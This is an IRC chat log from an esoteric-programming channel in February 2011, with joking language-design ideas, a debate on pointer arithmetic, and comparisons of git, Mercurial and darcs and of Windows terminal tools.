←2011-01 2011-02 2011-03→ ↑2011 ↑all
2011-02-01
00:00:18 <nddrylliog> also, quintopia, what do you like?
00:00:50 <nddrylliog> (also, I can't find a reason to distinguish between = and == in such a language..)
00:01:35 <quintopia> nddrylliog: anything that is done while naked with a member of the opposite sex, also naked
00:01:41 <quintopia> (seriously, like about what?)
00:02:20 <nddrylliog> quintopia, about languages
00:02:37 <Lymia> Let's write a programming language based on Wang tiles.
00:02:40 <quintopia> oh. I only like Makefiles
00:02:50 <quintopia> i program everything in Makefile
00:04:00 <nddrylliog> that would be a huge turn-off
00:04:29 <elliott> Lymia: no.
00:04:35 <quintopia> why? you never have to try to remember how to call your program
00:04:37 <Lymia> Why not?
00:04:39 <quintopia> it's always just "make"
00:04:45 <elliott> :D
00:04:47 <elliott> Lymia: because
00:05:27 <Lymia> Let's make a programming language based on complex numbers.
00:05:36 <nddrylliog> make: *** No rule to make target `love'. Stop.
00:05:41 <elliott> Lymia: no
00:05:45 <quintopia> how about a language called Bugger Overflow? You guys still haven't suggested a good language for that name.
00:05:46 <nddrylliog> tssk, no Daft Punk references. Shameful.
00:05:47 <Lymia> Why not? :(
00:06:00 <Lymia> quintopia, the only way to control program flow is to intentionally overflow buffers.
00:06:16 <quintopia> umm
00:06:26 <quintopia> how is it structured that that's the only way
00:07:13 <quintopia> even in C, the real damage is done upon returning from called function...
00:07:22 <quintopia> which is another form of control flow...
00:07:32 <Lymia> Figure it out.
00:07:39 <quintopia> O KAY
00:07:59 -!- elliott has set topic: argaarognaroijrigjieajgioajorjg.
00:08:02 <elliott> it's staying like that
00:08:03 <elliott> forever
00:08:31 -!- quintopia has set topic: alright, forever's up.
00:08:55 <nddrylliog> woo hooo http://bpaste.net/show/13389/
00:09:01 -!- elliott has set topic: forever is like no times tfoij oj jlol what's this even.
00:09:17 <nddrylliog> best language evar
00:09:19 <elliott> nddrylliog: "e.address.next" this is don't even i mean what is this you're
00:09:21 <elliott> it should be +1 surely
00:09:23 <elliott> you're just the and it
00:09:39 <elliott> i really think having the address stuff in there is gonna make the logic fall down a bit :)
00:09:41 <nddrylliog> elliott, nope, + 1 iz no good
00:09:45 <olsner> elliott: *you're* just the and it
00:09:52 <elliott> _especially_ if you define addresses to be finite and every object to have a unique address.
00:10:21 <elliott> map.c:501: error: incompatible types when assigning to type ‘Uint32’ from type ‘RGB’
00:10:22 <elliott> god what a fuck
00:10:29 <elliott> so inconsiderate?
00:10:31 <elliott> erm
00:10:31 <nddrylliog> elliott, + 1 doesn't mean much for adresses..
00:10:31 <elliott> wow
00:10:34 <elliott> i was going to write duck :D
00:10:39 <elliott> nddrylliog: sure it does, it means the address after that.
00:10:53 <elliott> well ok you want +sizeof(blah), but er, you could do it like C and have +1 mean that
00:10:53 <nddrylliog> elliott, well so does anAddress.next - and it's a convention, for list-like data structures as well
00:10:57 <elliott> i mean you need that anyway
00:10:57 <nddrylliog> yeah
00:10:58 <nddrylliog> but no
00:11:00 <nddrylliog> but yeah
00:11:01 <elliott> i mean you need that anyway
00:11:02 <nddrylliog> but it'll be confusing
00:11:04 <elliott> because address.next does that
00:11:07 <nddrylliog> yup
00:11:12 <elliott> so address.next changes meaning depending on what you're addressing with it, which is just
00:11:13 <elliott> your language is just
00:11:17 <nddrylliog> well
00:11:17 <elliott> you need to think this through some more :P
00:11:35 <nddrylliog> I'd rather have address.next's meaning depending on what you're adressing, rather than + 1 depending on what you're adressing
00:11:35 <nddrylliog> really.
00:11:47 <nddrylliog> cause, you know, I'd expect "next" to be the next "thing", ie. the next "whatever". But I'd expect 1 = 1.
00:12:26 <nddrylliog> (I think I get it now: #esoteric is a niche social network dedicated entirely to dating elliott)
00:14:06 -!- copumpkin has joined.
00:15:26 <elliott> nddrylliog: PRECISELY
00:15:33 <elliott> although oerjan is also available.
00:15:40 <elliott> <nddrylliog> I'd rather have address.next's meaning depending on what you're adressing, rather than + 1 depending on what you're adressing
00:15:43 <elliott> but address.next means one thing
00:15:44 <elliott> in your case
00:15:47 <elliott> x == address.next
00:15:47 <elliott> and
00:15:49 <elliott> y == address.next
00:15:53 <elliott> the .nexts there are evaluated differently
00:15:57 <elliott> and that's just hugely fucked up.
00:16:03 <elliott> UNLESS
00:16:09 <elliott> you parameterise the address type on the type it's addressing
00:16:10 <elliott> i.e.
00:16:10 <elliott> instead of
00:16:17 <elliott> "foo.address has type Address"
00:16:18 <elliott> you have
00:16:23 <elliott> "foo.address has type Address(foo's type)"
00:16:28 <elliott> then .next could depend on that.
00:16:36 <elliott> you would need conversions of course.
00:16:43 <nddrylliog> well yeah obviously
00:16:47 <nddrylliog> that's what I meant.
00:17:06 <elliott> nddrylliog: so how do you write functions in this, tell it the big-O you want and it figures the rest out itself? :)
00:17:09 <nddrylliog> when i think address I think C, and.. C pointer types are somehow "parameterized"
00:17:28 <nddrylliog> re: functions: exactly!
00:18:28 -!- Behold has quit (Remote host closed the connection).
00:18:46 <elliott> sure they are parameterised. (T *) has overloaded + :)
00:20:29 <nddrylliog> C? overloaded? surely you just.
00:20:31 <nddrylliog> *jest
00:21:28 <kfr> Sorry elliott, I was asleep
00:21:39 <elliott> Unforgivable.
00:21:49 <kfr> So you hate my esolang
00:21:58 <elliott> Did I say that?
00:21:59 <elliott> :p
00:22:00 <kfr> As for the AMD64/IA-32 PE/ELF stuff
00:22:02 <kfr> WHY NOT?
00:22:07 <elliott> 'CUZ WINDOWS SUCKS
00:22:19 <nddrylliog> kfr, what's your esolang?
00:22:50 <kfr> http://siyobik.info/misc/esolang/prime.html
00:22:55 <kfr> It was just a quick joke idea
00:23:05 <kfr> But writing a self hosting compiler would be massively awesome
00:23:10 <kfr> Especially a portable one
00:23:56 <kfr> It would probably be easier for a simpler language though
00:24:14 <kfr> I wouldn't have to deal with stuff like optimising tail recursion etc
00:24:53 <nddrylliog> self-hosting? without IO? tough job
00:25:12 <kfr> It prints the return value of the main "program" function to stdout at the end
00:25:15 <nddrylliog> also, without strings :D
00:25:21 <nddrylliog> hmm.
00:25:29 <elliott> eh, pixley does it
00:25:29 <nddrylliog> what would it compile to?
00:25:32 <kfr> So there is just one form of implicit output
00:25:41 <kfr> nddrylliog: An AMD64 PE, for example.
00:25:58 <kfr> No external dependencies other than kernel32.dll
00:25:59 <elliott> nddrylliog: he wants to compile it to multiple executable formats because I don't know.
00:26:08 <kfr> On Linux you could even do it without any shared libraries
00:26:10 <elliott> Perhaps because he uses Windows and would like to convince himself that that's not a bad thing.
00:26:27 <kfr> I use a variety of operating systems
00:26:49 <nddrylliog> ah right.
00:26:52 <kfr> elliott I'd just like to do that because it would be really impressive and because it would take a considerable amount of effort
00:27:03 -!- variable has quit (Quit: Daemon escaped from pentagram).
00:27:07 <elliott> Generating PE vs. generating ELF is not really all that much work. It's just header.s
00:27:09 <elliott> *headers.
00:27:32 -!- macrohauler has joined.
00:27:36 -!- macrohauler has left (?).
00:27:44 <elliott> nddrylliog: http://catseye.tc/projects/pixley/src/pixley.pix "Self-hosting" Pixley, although admittedly it is an interpreter, not a compiler.
00:27:56 <nddrylliog> elliott, yup, I googled that a minute ago
00:28:55 <kfr> How is it self hosting then?
00:29:12 <elliott> well with a Pixley specialiser, you can turn it into a compiler. :)
00:29:49 <nddrylliog> specialiser?
00:30:03 <elliott> nddrylliog: read this: http://blog.sigfpe.com/2009/05/three-projections-of-doctor-futamura.html
00:30:18 <Sgeo> I have no clue whether I should go with Git or Mercurial
00:30:23 <Sgeo> For single-person projects
00:30:29 <elliott> Sgeo: scapegoat
00:30:34 <Sgeo> I'm under the impression that Mercurial's easier
00:30:37 <elliott> Sgeo: more seriously: darcs.
00:30:50 <elliott> but scapegoat, once scapegoat exists!
00:31:00 <Sgeo> That's the one that's notable only due to it being Haskell?
00:31:04 <elliott> what?
00:31:09 <Sgeo> >.>
00:31:13 <elliott> darcs is notable due to having the only decent UI of any version control system.
00:31:23 <elliott> and also the only "major" one that treats patches in any even vaguely-sane way
00:31:31 <elliott> as opposed to just treating commits as copies of the whole repository.
00:32:08 <Sgeo> Does TortoiseDarcs exist?
00:32:10 * Sgeo googles
00:32:23 <elliott> Tortoise* are all terrible.
00:32:33 <elliott> i don't know why anyone would use them apart from acute brain damage
00:32:35 * kfr used TortoiseSVN and uses TortoiseGit
00:32:45 <elliott> lot of brain damage today!
00:32:53 <kfr> Oh, I've also used TortoiseHg at some piont
00:33:24 -!- cheater- has joined.
00:36:13 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:37:08 <kfr> darcs is notable for having been written in Haskell
00:38:04 <kfr> And for being excessively slow in general because it has no proper protocol of its own and pulls 30 gzip files per second via HTTP which are like 1 KiB in size each, without any concurrency at that. Good grief.
00:38:12 <elliott> erm.
00:38:16 <elliott> when was the last time you used darcs?
00:38:21 <kfr> Three days ago
00:38:26 <elliott> i don't think darcs 2 does that
00:38:34 <elliott> anyway, darcs isn't notable because it's written in haskell, i don't give a shit about that
00:38:35 <kfr> Whenever I have to pull stuff from HackageDB it takes 10-20 min :[
00:38:41 <elliott> kfr: works for me
00:38:51 <kfr> Yes, it works, but it's really slow
00:38:57 <elliott> works fast for me
00:38:59 * nddrylliog 's head is spinning.
00:39:01 <nddrylliog> too.. many.. projections
00:39:04 <elliott> i don't think anyone uses darcs because it's written in haskell. or at least if they do they're a moron.
00:39:14 <kfr> elliott: Oh, lots of Haskell people do
00:39:17 <elliott> nddrylliog: don't worry, in a few days you'll have an epiphany and then decide that all language implementations should be specialisers
00:39:21 <elliott> kfr: well. whatever.
00:39:28 <nddrylliog> elliott, I've already decided that - but I have no idea how to
00:39:33 <elliott> nddrylliog: :)
00:39:39 <elliott> nddrylliog: writing good specialisers is "current reserach"
00:39:40 <kfr> elliott: Lots of Haskell people will use software written in Haskell over superior software which does the same
00:39:56 <elliott> nddrylliog: iirc there was a team that got a specialiser behaving non-trivially when applied to itself. one team. :p
00:40:14 <elliott> kfr: i'm not so cynical about haskell people. although i don't talk to them much, well, i do, but in #haskell, about Haskell itself.
00:40:59 <kfr> Yeah, I'm in #haskell, too
00:42:23 <elliott> i'm aware :p
00:42:25 <Sgeo> kfr, which is better, TortoiseHg or TortoiseGit
00:42:32 <Sgeo> I have nothing else to make a decision on
00:42:52 <Sgeo> Isn't there something about git being easier to make throwaway branches with?
00:43:44 <elliott> ok Sgeo is officially infuriating enough.
00:44:24 <kfr> Well I would definitely pick git over hg, it's a really pragmatic VCS used for large projects. For example, unlike every other VCS I know it comes with a filtering language which allows you to programmatically modify the history of a repository to fix old erroneous commits etc
00:44:37 <elliott> modifying history is evil.
00:44:43 <elliott> (it's necessary in git, but only because git is badly-designed)
00:44:48 <nddrylliog> modifying History is evil.
00:44:54 <nddrylliog> history, not so much.
00:44:56 <kfr> To remove accidentally committed sensitive files, etc
00:44:58 <Sgeo> Modifying history is _necessary_ in Git?
00:45:01 <kfr> It saved my ass so many times
00:45:04 <kfr> Sgeo: No
00:45:12 <elliott> kfr: that's easy to do without changing history if you really have to
00:45:23 <elliott> the thing is, in git, people modify history *for aesthetic reasons*
00:45:32 <elliott> in fact, every "git pull" that causes a merge does a rebase!
00:45:34 <elliott> that's *inasnity*
00:45:37 -!- elliott has set topic: http://208.78.103.223/.
00:45:40 -!- elliott has set topic: http://208.78.103.223/esoteric/.
00:45:41 <elliott> *insanity
00:45:49 -!- pikhq has quit (Ping timeout: 240 seconds).
00:45:57 -!- pikhq has joined.
00:46:13 <kfr> git is also the fastest DVCS I've used and there are convenient sites for open source projects like github
00:46:21 <Sgeo> So, one of my friends got published in a textbook
00:46:22 <kfr> Google Code with hg works, too, but it's not as fancy
00:46:30 <elliott> kfr: Umm, bitbucket?
00:46:34 <kfr> Don't know it
00:46:36 <elliott> Come on, it's like a feature-for-feature clone of GitHub.
00:46:39 <nddrylliog> github beats bitbucket anytime.
00:46:41 <elliott> It's pretty damn popular too.
00:46:50 <nddrylliog> they'll always be several steps behind...
00:46:56 <elliott> nddrylliog: Sure, but saying "github exists and google code sucks at hg" is a really biased portrayal.
00:47:14 <nddrylliog> elliott, well yeah. for what it's worth, google code doesn't even really exists
00:47:15 <Sgeo> I wonder how much that xkcd strip promoted github...
00:47:21 <elliott> Google Code is pretty bad.
00:47:26 <elliott> especially since the latest redesign.
00:47:27 <kfr> Sgeo: Which one? :o
00:47:39 <Sgeo> bitbucket has free private hosting, right?
00:47:47 <nddrylliog> <3 http://lesbians.github.com/
00:47:57 <nddrylliog> kfr, that one ^
00:48:00 <Sgeo> http://xkcd.com/624/
00:48:18 <kfr> Odd one
00:48:25 <elliott> it's a pretty crap one.
00:48:35 <kfr> Dont' really find it funny, shrug
00:48:37 <nddrylliog> is there such as a thing as an odd xkcd comic?
00:48:38 <elliott> its number is >600 and <8xx (for some xx i forget)
00:48:41 <elliott> so that it sucks immensely is obvious
00:48:53 <elliott> I think Mercurial would be dead if not for the 6-or-so high-profile projects using it.
00:49:10 <kfr> Anyways, overall my preference for VCS currently is: git > hg > bzr > darcs > any centralised one
00:49:19 <kfr> git really sucks in two regards though
00:49:21 <Sgeo> I've only ever used SVN before
00:49:26 <kfr> 1. like half of it is written in bash
00:49:31 <elliott> no it isn't
00:49:33 <elliott> git is all C now
00:49:36 <elliott> or at least 90%
00:49:43 <elliott> (this is also why windows users stopped whining)
00:49:45 <kfr> 2. it doesn't have a proper API
00:49:55 <elliott> You forgot to rank arch and svk. :)
00:49:56 <kfr> Unlike, say, hg
00:50:00 -!- variable has joined.
00:50:02 <elliott> And Codeville!
00:50:02 <kfr> Haven't used those
00:50:09 <elliott> They're...rather obscure.
00:50:11 <kfr> I'\ve only used cvs, svn and some commercial ones
00:50:17 <elliott> Arch was the first Free(TM) distributed VCS, though.
00:50:24 <elliott> And also the first one that anyone really paid any attention to at all.
00:50:24 <nddrylliog> and RCS!
00:50:25 <kfr> Out of the ones I didn't mention
00:50:35 <elliott> RCS? pah, i use SCCS
00:51:07 <nddrylliog> elliott, ahh shoot. That's the one I was looking for
00:51:16 <Sgeo> Which, if used for a single-person project, will give me a greater understanding of DVCS? (I kind of gather that since it's a single person project, it won't be that helpful)
00:51:57 <kfr> elliott: Do you know how many binaries and bash scripts MSysGit comes with right now?
00:52:00 <kfr> 127.
00:52:07 <nddrylliog> Sgeo, huh, sorry but I almost always use git for my single-person projects. Branches are goodness.
00:52:14 <nddrylliog> kfr, right - but it's msys.
00:52:18 <elliott> kfr: why did you include binaries?
00:52:18 <kfr> It requires a full BusyBox port
00:52:23 <elliott> those are irrelevant
00:52:26 <elliott> we are talking about shell scripts
00:52:36 <Sgeo> elliott, are branches better in git than hg, as nddrylliog suggests?
00:52:38 <kfr> Err that's very relevant, relying on BusyBox for a VCS implies mental poverty
00:52:43 <elliott> mental poverty?
00:52:49 <elliott> no, it implies someone who isn't going to bend over backwards for Windows.
00:53:00 <elliott> you think Linus Torvalds gives a shit...?
00:53:05 <nddrylliog> kfr, msysgit is *so much more* than just git.
00:53:17 <nddrylliog> kfr, ergo it's not fair.
00:53:20 <kfr> nddrylliog: Why else would they be in there if they weren't required?
00:53:30 <elliott> because windows users like software bloat?
00:53:35 <elliott> you're edging very close to being a troll tbh
00:53:36 <kfr> Oh I'm sorry, apparently it uses /bin/sh
00:53:57 <nddrylliog> kfr, because msysgit provides a whole unix-like environment under Windows.. you have the console and everything. A minimal git for win32 would just provide git.exe and that's it.
00:53:59 <hagb4rd> im an open source fan, but must admit that the winpowershell really has an edge over any unix bash
00:54:07 <nddrylliog> kfr, and bash, and *vim*, yeah.
00:54:11 <elliott> powershell is useless
00:54:15 <elliott> well
00:54:19 <kfr> elliott yeah it is
00:54:19 <elliott> its internal architecture is nice
00:54:22 <elliott> but actually getting anything done in it?
00:54:25 <elliott> doesn't happen.
00:54:31 <nddrylliog> talking about trolls.. :D
00:54:41 <hagb4rd> y am i not surprised bout your opinion elliott
00:54:43 <kfr> Alright I apologise, I thought git actually required all of these
00:55:00 <elliott> me? have opinions?
00:55:03 <elliott> ha!
00:55:07 <kfr> But back when I had some problems with a port of git I ended up having to fix a sh script
00:55:17 <elliott> "back when" = yes, it used to be written half in sh
00:55:19 <elliott> it isn't now :P
00:55:21 <hagb4rd> ok..lets call it prejudices ;)
00:55:29 <elliott> let's call it OBJECTIVE TRUTH
00:55:30 <hagb4rd> or ideals
00:55:32 <kfr> It wasn't that long ago
00:55:35 <kfr> Only 2 years perhaps
00:55:45 <hagb4rd> openvirtues *g
00:56:03 <Sgeo> TortoiseGit or Git Extensions?
00:56:07 <elliott> kfr: dude, git is only like 5 years old :P
00:56:20 * Sgeo is leaning towards th latter, mostly due to one response on StackOverflow that I saw
00:56:20 <elliott> well, 6, but it only started becoming anything like modern git a year or two later
00:56:25 <elliott> (man, has it been that long?)
00:56:33 <kfr> Sgeo waht's "Git Extensions"?
00:56:47 <Sgeo> http://code.google.com/p/gitextensions/
00:56:54 <Sgeo> Although its tagline seems a bit hubristic
00:56:59 <nddrylliog> "Torvalds seemed aware that his decision to drop BitKeeper would also be controversial. When asked why he called the new software, "git," British slang meaning "a rotten person," he said. 'I'm an egotistical bastard, so I name all my projects after myself. First Linux, now git.'"
00:56:59 <kfr> Anyways, Microsoft still haven't realised that the problem wasn't that the shell is inferior
00:57:19 <elliott> yes it was
00:57:21 <kfr> The problem is that the default terminal is utterly useless
00:57:21 <elliott> largely :)
00:57:27 <elliott> cmd.exe is shit too
00:57:31 <nddrylliog> THAT.
00:57:35 <elliott> you can't even do a for loop without shooting yourself
00:57:35 <kfr> Yeah that's the csrss.dll interface
00:57:40 <elliott> or uh
00:57:41 <elliott> quote things
00:57:42 <elliott> or anything
00:57:44 <hagb4rd> whats the problem about THIS kfr
00:57:47 <nddrylliog> also, msys used to ship with rxvt, which they've now given up for cmd.exe... anyone, explain?
00:57:51 <elliott> and it has no `` or $()
00:57:52 <hagb4rd> you can download ps for free
00:57:52 <kfr> hagb4rd: About what?
00:57:57 <elliott> and uh
00:58:01 <elliott> hagb4rd: dude powershell uses cmd.exe
00:58:07 <hagb4rd> so?
00:58:12 <elliott> cmd.exe sucks
00:58:15 <elliott> that powershell sucks is unrelated, but
00:58:18 <nddrylliog> try resizing \o/
00:58:18 <myndzi> |
00:58:18 <myndzi> /`\
00:58:22 <kfr> elliott: They have another GUI for it
00:58:27 <hagb4rd> quad erat demostrandum?
00:58:28 <Sgeo> elliott, is Git's branching a bad reason to go with Git?
00:58:31 <kfr> But it is even more useless tham the csrss one
00:58:36 <elliott> kfr: yeah i seem to recall it being terrible
00:58:46 <kfr> http://siyobik.info/paracletus/\
00:58:47 <kfr> http://siyobik.info/paracletus/
00:58:53 <kfr> Check this for some screenshots/examples
00:59:01 <kfr> Of why the csrss GUI sucks
00:59:19 <kfr> My favourite is http://siyobik.info/paracletus/image/cmd-unicode.png
00:59:24 <elliott> There have been numerous attempts at solving this problem. Most of these programs are derived from the PuTTy source code and they run on top of cygwin which causes numerous problems like not working in the regular Windows environment with backslash paths, bash treating backslashes as the first part of an escape sequence, etc. Few have attempted to write actual replacements from scratch which actually don't use cygwin in any way. One of those was
00:59:24 <elliott> a project called "Konsole" I found on SourceForge, unluckily it suffers from similar problems as the original Windows csrss implementation like providing no proper maximisation and such.
00:59:28 <elliott> i really wanted to use mintty with interix
00:59:31 <elliott> but it wanted the cygwin dll
00:59:41 <elliott> and when i gave it a copy, it then repeated every line after i entered it :(
00:59:49 <elliott> so i used putty to ssh locally :P
01:00:23 -!- pikhq has quit (Ping timeout: 240 seconds).
01:00:25 <kfr> Yeah I use PuTTy a lot
01:00:31 -!- pikhq has joined.
01:00:36 <elliott> i like the part where you seem to not understand the difference between a terminal and a shell+coreutils >_>
01:00:41 <elliott> at least from your mockup screenshots
01:00:44 <kfr> Unluckily I still haven't managed to integrate the host file system into my Linux VMs flawlessly
01:01:03 <elliott> kfr: try Gentoo Prefix.
01:01:05 <kfr> vmhgfs and vboxsf suffer from some issues
01:01:06 <elliott> it runs on Interix
01:01:12 <elliott> very nice, and free too
01:01:16 <elliott> it's like Cygwin, except far, far better
01:01:23 <kfr> Curiously they suffer from identical issues
01:01:26 <elliott> and ostensibly Microsoft-supported
01:01:38 <elliott> and ofc it runs on regular NTFS
01:01:48 <kfr> Which leads me to believe that this might be some deeper issue which only few people are aware of
01:02:13 <kfr> It has something to do with file system in caching in Linux and the way it interacts with their drivers on top of NTFS
01:02:30 <nddrylliog> why is *everything* such a problem on top of NTFS
01:02:33 <kfr> s/in caching/caching/
01:03:07 <nddrylliog> linux has, like, the best FS support for an operating system, and we *still* rely on some userspace half-commercial crap that makes half proper uses of FSes bug (ie. Steam in Wine)
01:03:33 <kfr> How does Steam rely on a bug?
01:04:00 <elliott> nddrylliog: i don't rely on steam in wine :P
01:04:15 -!- poiuy_qwert has joined.
01:04:25 <nddrylliog> they make uses bug. Yeah.English.
01:04:54 <elliott> wat
01:04:55 <kfr> I parsed it as "use of an FS bug" :p
01:05:04 <nddrylliog> for reference, http://developer.valvesoftware.com/wiki/Steam_under_Linux#Wine.2C_Steam_.26_ntfs-3g
01:05:15 <hagb4rd> mentioning msproducts always leads to this neverending enervating war of opinions
01:05:19 <nddrylliog> kfr, yeah, we clearly have a precedence problem.
01:05:24 -!- poiuy_qwert has quit (Client Quit).
01:05:27 <Sgeo> Git Extensions wants me to install MSysGit and not just regular Git
01:05:39 <olsner> msysgit is regular git, if you're on windows
01:05:47 <nddrylliog> I love the "Don't minimize Steam!" on the valvesoftware linux wiki page
01:05:55 <kfr> nddrylliog lol :/
01:06:20 <Sgeo> How difficult/easy will it be for me to figure out Git Extensions without looking at any documentation?
01:06:28 <olsner> what is git extensions?
01:06:42 <kfr> I am annoyed by how people frequently intentionally avoid portability whereas it's nearly free nowadays for a lot of stuff :/
01:06:55 <Sgeo> http://code.google.com/p/gitextensions/
01:06:56 <olsner> portability isn't free :)
01:07:09 <nddrylliog> kfr, YES. Like how there's no Left 4 Dead 2 client for linux.
01:07:19 <nddrylliog> Sgeo, also it's a bit ironic that GitExtensions is hosted on Google code...
01:07:39 <olsner> well, it is almost free if you use a framework that is already fully portable, but using such a framework is not free :)
01:07:45 <elliott> did Sgeo just imply that he can't/won't read documentation?
01:07:47 <kfr> Ah, haven't seen that one before, interesting
01:07:54 <Sgeo> won't. Not can't.
01:08:03 <nddrylliog> Sgeo, prove that you can!
01:08:33 <elliott> Sgeo: i don't think anyone will really have the patience to help you if you yourself admit that you won't then help yourself solve the problems you have after that
01:08:43 -!- poiuy_qwert has joined.
01:08:45 <olsner> elliott: I think he also implied that he won't watch documentation either
01:08:46 <kfr> Sgeo: Well if you haven't used a DVCS before (which you said I think) then there will be some new concepts
01:08:56 <kfr> But that's not really about that GUI, I bet it's easy to use
01:09:03 <olsner> (i.e. the "video tutorials" they talk about)
01:09:07 <elliott> olsner: right. so i'm pretty sure that if i answer any one of his questions, he won't stop bugging me about questions that are covered by the documentation.
01:09:08 <Sgeo> elliott, I'm capable of reading documentation if I have questions. I'm just hoping not to have questions
01:09:12 <elliott> so i won't.
01:09:28 <olsner> elliott: probably
01:09:41 <kfr> i.e. the difference between committing and pushing in a DVCS vs. committing in a CVCS
01:10:04 <Sgeo> Is there really that big a difference for single person projects?
01:10:12 <kfr> Yeah
01:10:28 <Sgeo> Oh, right
01:10:34 <kfr> It's a totally different approach to version control
01:10:38 <Sgeo> I read the HgInit tutorial a long while ago
01:10:46 <olsner> it's not big I think, but the distinction is always there
01:10:50 <elliott> not if you're the only one committing :p
01:11:48 <olsner> hmm, right, it matters if you set up a remote repository somewhere or if you're only committing locally
01:11:54 <kfr> When you check out something from a DVCS repository you actually get the same files as the server you got it from. In DVCS basically "everybody is a server" (the people coming from SVN found this the easiest to understand in my experience)
01:12:21 <kfr> And some people who use SVN a lot actually use lots of hacks to make it more like a DVCS
01:12:34 <elliott> kfr: like svk!
01:12:44 <nddrylliog> so, give me simple problems to solve / data structures to implement so I can think some more about my language.
01:12:46 <elliott> kfr: (svk is a DVCS built on top of svn. I'm not joking.)
01:12:56 <kfr> To create local non-networked repositories which just use the file system, for example
01:13:00 <elliott> nddrylliog: OCTREES
01:13:07 <kfr> And to be able to push their state to online repositories :p
01:13:25 <kfr> nddrylliog: IOCP/epoll/kqueue HTTP server
01:14:14 * Sgeo goes to watch the videos
01:14:26 <elliott> kfr: that...
01:14:28 <elliott> is not a data structure.
01:14:37 <kfr> It involves some data structures!
01:14:39 <elliott> or a "problem" in any real sense. in fact that's just an incredibly boring task in IO engineering.
01:14:46 <nddrylliog> elliott, +1
01:14:47 <elliott> IOCP? oh, some Windows bullshit.
01:14:48 <kfr> Pff.
01:14:59 <kfr> elliott: Don't hate on portability
01:15:06 <elliott> that's not portable to QNX.
01:15:17 <nddrylliog> well to be fair, octrees are quite boring as well..
01:15:21 <elliott> or, oh, lisp machines.
01:15:26 <elliott> nddrylliog: yeah, but they're a data structure :P
01:15:35 <kfr> elliott feel free to add more support!
01:15:41 <elliott> kfr: if you really think "IOCP/epoll/kqueue HTTP server" when you think "interesting programming problem to solve", my condolences
01:16:08 <kfr> :|
01:16:18 <nddrylliog> |:
01:16:49 <hagb4rd> :|
01:16:49 <kfr> My first Haskell project was an SCGI server/web dev framework lol
01:17:04 <kfr> nddrylliog may I interest you in a self hosting compiler? That certainly features some data structures
01:17:09 <nddrylliog> elliott, the problem is, I'm not sure how to define that a node has 8 children.
01:17:10 <elliott> i think we're found the most boring person on earth people!
01:17:23 <nddrylliog> kfr, that's an idea - but I have no idea how to write a compiler for it in the first place :)
01:17:23 <elliott> nddrylliog: that's because your "element" stuff makes no sense. :)
01:17:35 <nddrylliog> elliott, well find a better alternative then!
01:17:42 <elliott> nddrylliog: do it like Coq :p
01:17:57 <nddrylliog> elliott, by jumping backwards on a single toe?
01:17:58 <kfr> elliott: And it forces you to consider FFI stuff at least, heh
01:18:02 <elliott> nddrylliog: yes.
01:18:08 <nddrylliog> elliott, thanks but no thanks
01:18:11 <elliott> nddrylliog: you really should learn coq though :)
01:18:24 <kfr> But what can I say, I've always been very interested in highly scalable networking stuff
01:18:25 <nddrylliog> elliott, yeah, probably. But I'm hesitant. Does it hurt at first, like anal?
01:18:27 <kfr> Both clients and servers
01:18:36 <nddrylliog> kfr, what do you think of Io?
01:18:41 <kfr> Never heard of it
01:18:56 <nddrylliog> kfr, seriously? http://iolanguage.com/
01:19:07 <elliott> <nddrylliog> elliott, yeah, probably. But I'm hesitant. Does it hurt at first, like anal?
01:19:09 <elliott> it never stops hurting.
01:19:15 <nddrylliog> elliott, awwww.
01:19:46 <nddrylliog> I wonder what fraction of the e-mails exchanged contain passwords or other kinds of authentication tokens.
01:20:34 <kfr> At first I always started interpeters for dynamically typed languages
01:20:50 <kfr> But now I've developed a grudge against dynamically typed stuff
01:21:39 <kfr> I wrote a fair amount of networked services in Ruby recently and it was a huge pain because of stupid errors which occurred days later after launching the servers
01:22:06 <kfr> And most of those could have been solved by simple compile time checks in a statically typed language
01:23:09 <elliott> i only code in ursala, true story
01:23:15 <elliott> can i just say
01:23:17 <elliott> that i hate everyone's guts
01:23:19 <elliott> carry on
01:23:36 <kfr> Are you sure it isn't Ursula?
01:23:45 <kfr> Diminutive of bear or something like that
01:24:21 <kfr> I think I saw somebody mention "Ursula" in here
01:24:28 <kfr> So I thought they might be related
01:24:41 <kfr> "Ursala is an interpreted functional language with some experimental features, intended mainly for text and numerical applications. "
01:24:44 -!- Lymia has quit (Ping timeout: 276 seconds).
01:24:45 <kfr> Maybe unrelated after all
01:25:10 <elliott> ursala is the most fun crazy
01:25:59 -!- oerjan has joined.
01:32:28 * Sgeo oohs at git stash
01:34:22 <nddrylliog> git stash is golden
01:34:41 <Sgeo> "A consequence of Gits distributed nature is that history can be edited easily."
01:34:49 <Sgeo> http://www-cs-students.stanford.edu/~blynn/gitmagic/ch05.html
01:40:16 <Sgeo> I should probably read a git tutorial, rather than looking for a tutorial based on this GUI
01:46:52 <variable> https://s-hphotos-snc3.fbcdn.net/hs317.snc3/28506_1437566584016_1378554866_31120765_1714195_n.jpg -> science joke
01:47:30 <variable> Sgeo, I'm not a fan of the ease of editing history - but meh
01:49:50 <kfr> <Sgeo> "A consequence of Git’s distributed nature is that history can be edited easily."
01:49:56 <kfr> lol that has nothing to do with the distribution
01:50:13 <kfr> hg, bzr, darcs are all opposed to modifying the history
01:50:33 <kfr> Whereas in git there's even a "shell scripted filtering language" to modify it programmatically
01:50:35 <elliott> darcs isn't _too_ opposed
01:50:36 <elliott> "darcs obliterate"
01:50:57 <kfr> :o not familiar with it
01:51:03 <elliott> kfr: it obliterates a patch :)
01:51:03 <kfr> Also, I must admit that I never use git stash
01:51:07 <elliott> ONLY to be used when you miscommit
01:51:11 <elliott> in scapegoat, modifying history is almost impossible. well. you can undo the last N commits. but that's about it
01:51:44 <kfr> In fact I even frequently commit and push non-compiling code in some projects of mine :|
01:52:16 <elliott> mcmap's testing philosophy is to not.
01:52:20 <Sgeo> Does hg have an equiv to stash?
01:52:22 <kfr> Because I pull from the repo from multiple unrelated computers and sometimes it takes me days to finish something before I any attempt any compilation :/
01:53:00 <kfr> But as all Haskell users know, "if it compiles, it works"
01:53:32 -!- Lymia has joined.
01:54:00 <elliott> we do it with C... surprisingly it actually usually works
01:54:13 <kfr> Very funny
01:54:23 <elliott> i'm not joking :)
01:54:34 <nddrylliog> in C++, usually it's "if it compiles, it segfaults"
01:54:50 <kfr> C is the opposite of compile time correctness
01:55:03 <kfr> C++ is somewhat less faulty but still very prone to errors
01:55:16 <Sgeo> Is cherry pick a Git thing or a Git Extensions thing?
01:55:27 <nddrylliog> Sgeo, git
01:55:33 <Sgeo> Awesome
01:55:35 <nddrylliog> Sgeo, thank God for that :)
